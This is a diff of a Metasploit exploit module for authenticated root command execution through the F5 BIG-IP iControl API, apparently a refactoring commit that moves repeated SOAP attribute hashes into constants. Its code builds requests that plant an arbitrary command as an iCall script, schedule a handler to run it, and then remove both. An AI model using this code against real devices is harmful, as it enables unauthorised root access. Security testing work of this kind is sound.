@@ -11,16 +11,22 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
12
include Msf ::Exploit ::FileDropper
13
13
14
+ SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }
15
+ STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
16
+ LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence' , 'soapenc:arrayType' => 'xsd:long[]' , 'xmlns:urn' => 'urn:iControl' }
17
+
14
18
def initialize ( info = { } )
15
19
super (
16
20
update_info (
17
21
info ,
18
22
'Name' => "F5 iControl iCall::Script Root Command Execution" ,
19
23
'Description' => %q{
20
- This module exploits an authenticated a privilege escalation vulnerability
21
- in the iControl API on the F5 BIG-IP LTM (and likely other F5 devices). The attacker needs valid
22
- credentials and the Resource Administrator role. The exploit should work on BIG-IP 11.3.0 - 11.6.0,
23
- (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references for more details)
24
+ This module exploits an authenticated privilege escalation
25
+ vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
26
+ other F5 devices). This requires valid credentials and the Resource
27
+ Administrator role. The exploit should work on BIG-IP 11.3.0
28
+ - 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references
29
+ for more details)
24
30
} ,
25
31
'License' => MSF_LICENSE ,
26
32
'Author' =>
@@ -112,13 +118,12 @@ def send_soap_request(pay)
112
118
def create_script ( cmd )
113
119
scriptname = Rex ::Text . rand_text_alpha_lower ( 5 )
114
120
create_xml = build_xml do |xml |
115
- xml [ 'scr' ] . create ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
116
- string_attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
117
- xml . scripts ( string_attrs ) do
121
+ xml [ 'scr' ] . create ( SOAPENV_ENCODINGSTYLE ) do
122
+ xml . scripts ( STRING_ATTRS ) do
118
123
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
119
124
xml . item scriptname
120
125
end
121
- xml . definitions ( string_attrs ) do
126
+ xml . definitions ( STRING_ATTRS ) do
122
127
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
123
128
xml . item cmd
124
129
end
@@ -129,9 +134,8 @@ def create_script(cmd)
129
134
130
135
def delete_script ( scriptname )
131
136
delete_xml = build_xml do |xml |
132
- xml [ 'scr' ] . delete_script ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
133
- string_attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
134
- xml . scripts ( string_attrs ) do
137
+ xml [ 'scr' ] . delete_script ( SOAPENV_ENCODINGSTYLE ) do
138
+ xml . scripts ( STRING_ATTRS ) do
135
139
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
136
140
xml . item scriptname
137
141
end
@@ -142,7 +146,7 @@ def delete_script(scriptname)
142
146
143
147
def script_exists ( scriptname )
144
148
exists_xml = build_xml do |xml |
145
- xml [ 'scr' ] . get_list ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" )
149
+ xml [ 'scr' ] . get_list ( SOAPENV_ENCODINGSTYLE )
146
150
end
147
151
res = send_soap_request ( exists_xml )
148
152
res && res . code == 200 && res . body =~ Regexp . new ( "/Common/#{ scriptname } " )
@@ -151,18 +155,16 @@ def script_exists(scriptname)
151
155
def create_handler ( scriptname , interval )
152
156
handler_name = Rex ::Text . rand_text_alpha_lower ( 5 )
153
157
handler_xml = build_xml do |xml |
154
- xml [ 'per' ] . create ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
155
- string_attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
156
- xml . handlers ( string_attrs ) do
158
+ xml [ 'per' ] . create ( SOAPENV_ENCODINGSTYLE ) do
159
+ xml . handlers ( STRING_ATTRS ) do
157
160
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
158
161
xml . item handler_name
159
162
end
160
- xml . scripts ( string_attrs ) do
163
+ xml . scripts ( STRING_ATTRS ) do
161
164
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
162
165
xml . item scriptname
163
166
end
164
- long_attrs = { 'xsi:type' => 'urn:Common.ULongSequence' , 'soapenc:arrayType' => 'xsd:long[]' , 'xmlns:urn' => 'urn:iControl' }
165
- xml . intervals ( long_attrs ) do
167
+ xml . intervals ( LONG_ATTRS ) do
166
168
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
167
169
xml . item interval
168
170
end
@@ -173,9 +175,8 @@ def create_handler(scriptname, interval)
173
175
174
176
def delete_handler ( handler_name )
175
177
delete_xml = build_xml do |xml |
176
- xml [ 'per' ] . delete_handler ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
177
- attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
178
- xml . handlers ( attrs ) do
178
+ xml [ 'per' ] . delete_handler ( SOAPENV_ENCODINGSTYLE ) do
179
+ xml . handlers ( STRING_ATTRS ) do
179
180
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
180
181
xml . item handler_name
181
182
end
@@ -187,7 +188,7 @@ def delete_handler(handler_name)
187
188
188
189
def handler_exists ( handler_name )
189
190
handler_xml = build_xml do |xml |
190
- xml [ 'per' ] . get_list ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" )
191
+ xml [ 'per' ] . get_list ( SOAPENV_ENCODINGSTYLE )
191
192
end
192
193
res = send_soap_request ( handler_xml )
193
194
res && res . code == 200 && res . body =~ Regexp . new ( "/Common/#{ handler_name } " )
@@ -200,13 +201,12 @@ def check
200
201
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
201
202
# any other response is considered not vulnerable
202
203
check_xml = build_xml do |xml |
203
- xml [ 'scr' ] . create ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
204
- attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
205
- xml . scripts ( attrs ) do
204
+ xml [ 'scr' ] . create ( SOAPENV_ENCODINGSTYLE ) do
205
+ xml . scripts ( STRING_ATTRS ) do
206
206
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
207
207
xml . item
208
208
end
209
- xml . definitions ( attrs ) do
209
+ xml . definitions ( STRING_ATTRS ) do
210
210
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
211
211
xml . item
212
212
end
0 commit comments